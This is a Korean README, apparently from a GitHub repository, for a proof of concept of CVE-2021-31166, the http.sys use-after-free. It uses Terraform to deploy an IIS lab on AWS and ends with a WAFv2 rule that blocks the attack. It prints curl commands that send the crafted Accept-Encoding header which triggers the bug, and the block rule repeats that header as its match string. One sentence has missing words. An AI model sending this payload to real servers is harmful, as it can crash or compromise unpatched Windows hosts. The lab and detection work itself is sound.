
AWS에 Terraform 배포가 포함된 CVE-2021-31166(http.sys RCE)용 개념 증명으로, 테스트 스크립트와 익스플로잇을 차단하는 WAFv2 규칙이 포함되어 있습니다.
이 저장소는 0vercl0k에서 영감을 받은 CVE-2021-31166("HTTP 프로토콜 스택 원격 코드 실행 취약점")에 대한 개념 증명입니다. 이는 2021년 5월 Microsoft가 패치한 http.sys의 use-after-free 역참조입니다.
git clone https://github.com/bgsilvait/WIn-CVE-2021-31166.git
cd WIn-CVE-2021-31166
terraform init
terraform plan
terraform apply --auto-approve
terraform은 Windows Server Core 20H2가 설치된 EC2 인스턴스를 생성하고, IIS를 설치하며, AWS 콘솔에서 Web Powershell Session from AWS Console을 열 수 있도록 SSM 권한을 추가합니다. 또한 Application Load Balancer를 생성하고 인스턴스를 대상으로 사용합니다. 기본적으로 은 액세스를 위해 만 허용합니다.
Security Group#Define Values from Terraform Output
ALB=$(terraform output -raw lb_dns_name)
EC2IP=$(terraform output -json public_ip | jq -r '.[0]')
#Testing to ALB
while true; do curl -I $ALB --connect-timeout 1 ; done
#Testing Directly to EC2'
while true; do curl -I $EC2IP --connect-timeout 1 ; done
#Testing to ALB
curl -i $ALB -H "Accept-Encoding: doar-e, ftw, imo, ,"
#Testing Directly to EC2'
curl -i $EC2IP -H "Accept-Encoding: doar-e, ftw, imo, ,"
{
"Name": "cve-block",
"Priority": 0,
"Statement": {
"ByteMatchStatement": {
"SearchString": "doar-e, ftw, imo, ,",
"FieldToMatch": {
"SingleHeader": {
"Name": "accept-encoding"
}
},
"TextTransformations": [
{
"Priority": 0,
"Type": "NONE"
}
],
"PositionalConstraint": "EXACTLY"
}
},
"Action": {
"Block": {
"CustomResponse": {
"ResponseCode": 418,
"CustomResponseBodyKey": "418"
}
}
},
"VisibilityConfig": {
"SampledRequestsEnabled": true,
"CloudWatchMetricsEnabled": true,
"MetricName": "cve-block"
}
}